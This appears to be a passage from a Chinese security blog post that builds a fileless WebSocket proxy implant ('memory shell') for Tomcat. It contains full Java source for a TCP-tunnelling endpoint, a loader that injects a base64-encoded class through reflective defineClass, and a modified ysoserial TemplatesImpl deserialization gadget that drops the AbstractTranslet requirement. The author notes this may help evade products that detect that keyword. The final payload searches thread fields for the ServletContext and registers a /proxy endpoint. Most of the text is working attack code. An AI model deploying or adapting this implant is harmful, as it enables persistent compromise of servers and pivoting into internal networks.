ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());

container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
}
} catch (Exception e){
}

虽然能用但是十分不优雅,为了解决这个问题 想了两个优化步骤

1、去除所有内部类,一个defineClass实现利用

2、研究反序列化的codefile能否不继承AbstractTranslet使用,不需要defineClass实现利用

步骤1 单独类实现 Websocket 代理

import java.io.ByteArrayOutputStream;

import java.net.InetSocketAddress;

import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;

import java.util.HashMap;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;

import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;


public class ProxyEndpoint extends Endpoint implements CompletionHandler<Integer, ProxyEndpoint>,
    MessageHandler.Whole<ByteBuffer> {
    long i = 0;
    Session session;
    public AsynchronousSocketChannel client;
    public Session channel;
    ByteBuffer buffer;
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    HashMap<String, AsynchronousSocketChannel> map = new HashMap<String, AsynchronousSocketChannel>();

    @Override
    public void completed(Integer result, ProxyEndpoint attachment) {
        this.buffer.clear();

        try {
            if (this.buffer.hasRemaining() && (result >= 0)) {
                byte[] arr = new byte[result];
                ByteBuffer b = this.buffer.get(arr, 0, result);
                baos.write(arr, 0, result);

                ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());

                if (this.channel.isOpen()) {
                    this.channel.getBasicRemote().sendBinary(q);
                }

                baos = new ByteArrayOutputStream();
                readFromServer(this.channel, this.client);
            } else {
                if (result > 0) {
                    byte[] arr = new byte[result];
                    ByteBuffer b = buffer.get(arr, 0, result);
                    baos.write(arr, 0, result);
                    readFromServer(this.channel, this.client);
                }
            }
        } catch (Exception ignored) {
        }
    }

    @Override
    public void failed(Throwable exc, ProxyEndpoint attachment) {
    }

    @Override
    public void onMessage(ByteBuffer byteBuffer) {
        try {
            byteBuffer.clear();
            i++;
            process(byteBuffer, this.session);
        } catch (Exception ignored) {
        }
    }

    void readFromServer(Session channel, AsynchronousSocketChannel client) {
        this.buffer = ByteBuffer.allocate(50000);

        this.client = client;
        this.channel = channel;
        client.read(this.buffer, this, this);
    }

    void process(ByteBuffer z, Session channel) {
        try {
            if (i > 1) {
                AsynchronousSocketChannel client = map.get(channel.getId());
                client.write(z).get();
                z.flip();
                z.clear();
            } else if (i == 1) {
                String values = new String(z.array());
                String[] array = values.split(" ");
                String[] addrarray = array[1].split(":");
                AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
                int po = Integer.parseInt(addrarray[1]);
                InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0],
                        po);
                Future<Void> future = client.connect(hostAddress);

                try {
                    future.get(10, TimeUnit.SECONDS);
                } catch (Exception ignored) {
                    channel.getBasicRemote()
                           .sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");

                    return;
                }

                map.put(channel.getId(), client);
                readFromServer(channel, client);
                channel.getBasicRemote()
                       .sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
            }
        } catch (Exception ignored) {
        }
    }

    @Override
    public void onOpen(final Session session, EndpointConfig config) {
        i = 0;
        this.session = session;
        session.addMessageHandler((MessageHandler) this);
    }
}

步骤1实现比较简单,去除内部类后,只会生成一个class文件,利用起来优雅了一丝。

String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();

byte [] b = null;
try {
if (servletContext.getAttribute(path) == null){
Method m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);

b = new BASE64Decoder().decodeBuffer("yv66vgAAADQBBwoAPQCRCQA3AJIHAJMKAAMAkQkANwCUBwCVCgAGAJEJADcAlgkANwCXCgA7AJgKADsAmQoAOQCaCgA7AJsKAAMAnAoAAwCdCgA7AJ4JADcAnwsAoAChCwCgAKILAKMApAkANwClCgA3AKYHAKcJADcAqAoANwCpAwAAw1AKADsAqgoAHwCrCwCgAKwKAAYArQcArgoAHwCvCwCwALEKADsAsgcAswoAOwC0CgAjALUIALYKACMAtwgAuAoAHwC5CgA5ALoHALsKACsAvAoAHwC9BQAAAAAAAAAKCQC+AL8LALAAwAgAwQsAowDCCgAGAMMIAMQLAKAAxQcAxgoANwDHBwDICgA3AMkHAMoKADcAywcAzAcAzQcAzwEAAWkBAAFKAQAHc2Vzc2lvbgEAGUxqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjsBAAZjbGllbnQBAC1MamF2YS9uaW8vY2hhbm5lbHMvQXN5bmNocm9ub3VzU29ja2V0Q2hhbm5lbDsBAAdjaGFubmVsAQAGYnVmZmVyAQAVTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAEYmFvcwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAANtYXABABNMamF2YS91dGlsL0hhc2hNYXA7AQAJU2lnbmF0dXJlAQBUTGphdmEvdXRpbC9IYXNoTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOz47AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA9MUHJveHlFbmRwb2ludDsBAAljb21wbGV0ZWQBACUoTGphdmEvbGFuZy9JbnRlZ2VyO0xQcm94eUVuZHBvaW50OylWAQADYXJyAQACW0IBAAFiAQABcQEABnJlc3VsdAEAE0xqYXZhL2xhbmcvSW50ZWdlcjsBAAphdHRhY2htZW50AQANU3RhY2tNYXBUYWJsZQcAWQcAygcApwEABmZhaWxlZAEAJyhMamF2YS9sYW5nL1Rocm93YWJsZTtMUHJveHlFbmRwb2ludDspVgEAA2V4YwEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEACW9uTWVzc2FnZQEAGChMamF2YS9uaW8vQnl0ZUJ1ZmZlcjspVgEACmJ5dGVCdWZmZXIBAA5yZWFkRnJvbVNlcnZlcgEASShMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247TGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7KVYBAAdwcm9jZXNzAQAxKExqYXZhL25pby9CeXRlQnVmZmVyO0xqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjspVgEAB2lnbm9yZWQBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAZ2YWx1ZXMBABJMamF2YS9sYW5nL1N0cmluZzsBAAVhcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAlhZGRyYXJyYXkBAAJwbwEAAUkBAAtob3N0QWRkcmVzcwEAHExqYXZhL25ldC9JbmV0U29ja2V0QWRkcmVzczsBAAZmdXR1cmUBAB1MamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlOwEAAXoBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAvTGphdmEvdXRpbC9jb25jdXJyZW50L0Z1dHVyZTxMamF2YS9sYW5nL1ZvaWQ7PjsHAMYHANAHALMHAHMHAK4HALsHANEBAAZvbk9wZW4BADwoTGphdmF4L3dlYnNvY2tldC9TZXNzaW9uO0xqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnRDb25maWc7KVYBAAZjb25maWcBACBMamF2YXgvd2Vic29ja2V0L0VuZHBvaW50Q29uZmlnOwEAKihMamF2YS9sYW5nL1Rocm93YWJsZTtMamF2YS9sYW5nL09iamVjdDspVgEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgEAFShMamF2YS9sYW5nL09iamVjdDspVgEABVdob2xlAQAMSW5uZXJDbGFzc2VzAQCgTGphdmF4L3dlYnNvY2tldC9FbmRwb2ludDtMamF2YS9uaW8vY2hhbm5lbHMvQ29tcGxldGlvbkhhbmRsZXI8TGphdmEvbGFuZy9JbnRlZ2VyO0xQcm94eUVuZHBvaW50Oz47TGphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlciRXaG9sZTxMamF2YS9uaW8vQnl0ZUJ1ZmZlcjs+OwEAClNvdXJjZUZpbGUBABJQcm94eUVuZHBvaW50LmphdmEMAE8AUAwAQABBAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAEkASgEAEWphdmEvdXRpbC9IYXNoTWFwDABLAEwMAEcASAwA0gDTDADUANUMANYA1wwA2ADZDADaANsMANwA3QwA3gDfDABGAEMHANAMAOAA1QwA4QDjBwDlDADmAGgMAEQARQwAagBrAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAQgBDDABsAG0MAOcA6AwA6QDqDADrAOwMANgA7QEAK2phdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWwMANoA7gcA0QwA2ADvDADwANMBABBqYXZhL2xhbmcvU3RyaW5nDAByAN0MAE8A8QEAASAMAPIA8wEAAToMAPQA9QwA9gD3AQAaamF2YS9uZXQvSW5ldFNvY2tldEFkZHJlc3MMAE8A+AwA+QD6BwD7DAD8AP0MANgA/gEAJEhUVFAvMS4xIDUwMyBTZXJ2aWNlIFVuYXZhaWxhYmxlDQoNCgwA/wEADAEBAQIBACdIVFRQLzEuMSAyMDAgQ29ubmVjdGlvbiBFc3RhYmxpc2hlZA0KDQoMAQMBBAEADVByb3h5RW5kcG9pbnQMAGMAZAEAEWphdmEvbGFuZy9JbnRlZ2VyDABWAFcBABNqYXZhL25pby9CeXRlQnVmZmVyDABnAGgBABhqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnQBACNqYXZhL25pby9jaGFubmVscy9Db21wbGV0aW9uSGFuZGxlcgcBBQEAJGphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlciRXaG9sZQEAF2phdmF4L3dlYnNvY2tldC9TZXNzaW9uAQAbamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlAQAFY2xlYXIBABMoKUxqYXZhL25pby9CdWZmZXI7AQAMaGFzUmVtYWluaW5nAQADKClaAQAIaW50VmFsdWUBAAMoKUkBAANnZXQBABsoW0JJSSlMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBAAV3cml0ZQEAByhbQklJKVYBAAt0b0J5dGVBcnJheQEABCgpW0IBAAR3cmFwAQAZKFtCKUxqYXZhL25pby9CeXRlQnVmZmVyOwEABmlzT3BlbgEADmdldEJhc2ljUmVtb3RlAQAFQmFzaWMBACgoKUxqYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQkQmFzaWM7BwEGAQAkamF2YXgvd2Vic29ja2V0L1JlbW90ZUVuZHBvaW50JEJhc2ljAQAKc2VuZEJpbmFyeQEACGFsbG9jYXRlAQAYKEkpTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAEcmVhZAEATyhMamF2YS9uaW8vQnl0ZUJ1ZmZlcjtMamF2YS9sYW5nL09iamVjdDtMamF2YS9uaW8vY2hhbm5lbHMvQ29tcGxldGlvbkhhbmRsZXI7KVYBAAVnZXRJZAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBADQoTGphdmEvbmlvL0J5dGVCdWZmZXI7KUxqYXZhL3V0aWwvY29uY3VycmVudC9GdXR1cmU7AQAUKClMamF2YS9sYW5nL09iamVjdDsBAARmbGlwAQAFKFtCKVYBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEABG9wZW4BAC8oKUxqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOwEACHBhcnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpVgEAB2Nvbm5lY3QBADcoTGphdmEvbmV0L1NvY2tldEFkZHJlc3M7KUxqYXZhL3V0aWwvY29uY3VycmVudC9GdXR1cmU7AQAdamF2YS91dGlsL2NvbmN1cnJlbnQvVGltZVVuaXQBAAdTRUNPTkRTAQAfTGphdmEvdXRpbC9jb25jdXJyZW50L1RpbWVVbml0OwEANChKTGphdmEvdXRpbC9jb25jdXJyZW50L1RpbWVVbml0OylMamF2YS9sYW5nL09iamVjdDsBAAhzZW5kVGV4dAEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtM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");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);

ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(Thread.currentThread().getContextClassLoader().loadClass("ProxyEndpoint"), path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());

container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
}

} catch (Exception e){
}

步骤2 反序列化codefile不继承AbstractTranslet

为什么不继承AbstractTranslet代码执行会失败?

部分gadget通过调用getter方法能够调用到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties

public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}


getOutputProperties->newTransformer->getTransletInstance,在getTransletInstance中调用了defineTransletClasses方法来生成一个类然后实例化。



private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

在defineTransletClasses方法中,通过loader.defineClass(_bytecodes[i]);生成了类后,回到getTransletInstance方法后实例化。

private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

在defineTransletClasses方法中,会判断defineClass生成的类的父类是否为AbstractTranslet,如果不是那么就会执行到_auxClasses.put(_class[i].getName(), _class[i]);

观察_auxClasses属性发现被transient修饰,无法通过反序列化控制值,如果直接调用_auxClasses.put会抛出空指针异常,导致代码执行中断。

private transient Map<String, Class<?>> _auxClasses = null;

再观察defineTransletClasses方法可以发现,当classCount > 1时,会对_auxClasses属性赋值HashMap,这时候put就不会再空指针异常了。

另外还存在一个_transletIndex< 0时,就会抛出异常中断的限制,_transletIndex默认为-1。 在for循环时,只有当生成类的父类为AbstractTranslet时,才会对_transletIndex属性赋值。

final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}

查看_transletIndex属性时发现该属性并没有被transient修饰,那么即使父类不是AbstractTranslet也可以通过反序列化控制该属性绕过限制。

private int _transletIndex = -1;


private void readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
_transletIndex = gf.get("_transletIndex", -1);

所以只要满足两个条件即可实现去除AbstractTranslet

1、classCount也就是生成类的数量大于1

2、_transletIndex >= 0

在defineTransletClasses生成类后,后续会用到_transletIndex属性指定从_class属性数组中实例化哪个类,那么需要将_transletIndex属性指定为恶意类的索引。

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();

再回到原始ysoserial的createTemplatesImpl方法中,可以发现 ysoserial在设置templates的_bytecodes属性时确实传了两个类的bytes进去。但是在之前缩短payload的浪潮中,我移除了Foo.class。

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

还原Foo.class后再加上_transletIndex即可。

else if(command.startsWith("classfile:")){
String path = command.split(":")[1];
FileInputStream in =new FileInputStream(new File(path));
classBytes=new byte[in.available()];
in.read(classBytes);
in.close();
System.out.println(command);
System.err.println("Java File Mode:"+ Arrays.toString(classBytes));
}


Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

//Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_transletIndex", 0);
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;

Codefile 不继承AbstractTranslet

import java.io.IOException;
public class Calc {
public Calc() throws IOException {
Runtime.getRuntime().exec("open -a calculator.app");
}
}

依然实现了代码执行。

在解决了AbstractTranslet的问题之后,反序列化的codefile就可以直接继承Endpoint了,同时部分安全产品有检测AbstractTranslet关键字,去掉之后也许也能起一些作用。

最终反序列化中wsProxy的codefile:

import javax.servlet.ServletContext;
import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.HashSet;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;

public class Tomcat_add_wsProxy extends Endpoint implements CompletionHandler<Integer, Tomcat_add_wsProxy>, MessageHandler.Whole<ByteBuffer>{
long i =0;
Session session;
public AsynchronousSocketChannel client;
public Session channel;
ByteBuffer buffer;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HashMap<String, AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
static HashSet<Object> h;
static ServletContext s;

private static boolean i(Object obj) {
if (obj != null && !h.contains(obj)) {
h.add(obj);
return false;
} else {
return true;
}
}

private void p(Object o, int depth) throws DeploymentException, DeploymentException {
if (depth <= 52 && s == null) {
if (!i(o)) {
if (s == null && ServletContext.class.isAssignableFrom(o.getClass())) {
s = (ServletContext)o;
String path = "/proxy";
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(this.getClass(), path).build();
ServerContainer container = (ServerContainer)s.getAttribute(ServerContainer.class.getName());
if (s.getAttribute(path) == null) {
container.addEndpoint(configEndpoint);
s.setAttribute(path, path);
}
}

this.F(o, depth + 1);
}

}
}

private void F(Object start, int depth) {
Class n = start.getClass();

do {
Field[] var4 = n.getDeclaredFields();
int var5 = var4.length;

for(int var6 = 0; var6 < var5; ++var6) {
Field declaredField = var4[var6];
declaredField.setAccessible(true);
Object o = null;

try {
o = declaredField.get(start);
if (!o.getClass().isArray()) {
this.p(o, depth);
} else {
Object[] var9 = (Object[])((Object[])o);
int var10 = var9.length;

for(int var11 = 0; var11 < var10; ++var11) {
Object q = var9[var11];
this.p(q, depth);
}
}
} catch (Exception var13) {
}
}
} while((n = n.getSuperclass()) != null);

}

public Tomcat_add_wsProxy() {
h = new HashSet();
this.F(Thread.currentThread(), 0);
}

@Override
public void completed(Integer result, Tomcat_add_wsProxy attachment) {
this.buffer.clear();
try {
if(this.buffer.hasRemaining() && result>=0)
{
byte[] arr = new byte[result];
ByteBuffer b = this.buffer.get(arr,0,result);
baos.write(arr,0,result);
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
if (this.channel.isOpen()) {
this.channel.getBasicRemote().sendBinary(q);
}
baos = new ByteArrayOutputStream();
readFromServer(this.channel,this.client);
}else{
if(result > 0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
readFromServer(this.channel,this.client);
}
}
} catch (Exception ignored) {}
}

@Override
public void failed(Throwable exc, Tomcat_add_wsProxy attachment) {

}

@Override
public void onMessage(ByteBuffer byteBuffer) {
try {
byteBuffer.clear();
i++;
process(byteBuffer, this.session);
} catch (Exception ignored) {
}
}


void readFromServer(Session channel,AsynchronousSocketChannel client){
this.buffer = ByteBuffer.allocate(50000);

this.client = client;
this.channel = channel;
client.read(this.buffer, this, this);
}
void process(ByteBuffer z,Session channel)
{
try{
if(i>1)
{
AsynchronousSocketChannel client = map.get(channel.getId());
client.write(z).get();
z.flip();
z.clear();
}
else if(i==1)
{
String values = new String(z.array());
String[] array = values.split(" ");
String[] addrarray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int po = Integer.parseInt(addrarray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch(Exception ignored){
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
map.put(channel.getId(), client);
readFromServer(channel,client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
}catch(Exception ignored){
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
i=0;
this.session = session;
session.addMessageHandler((MessageHandler)this);
}
}
(完)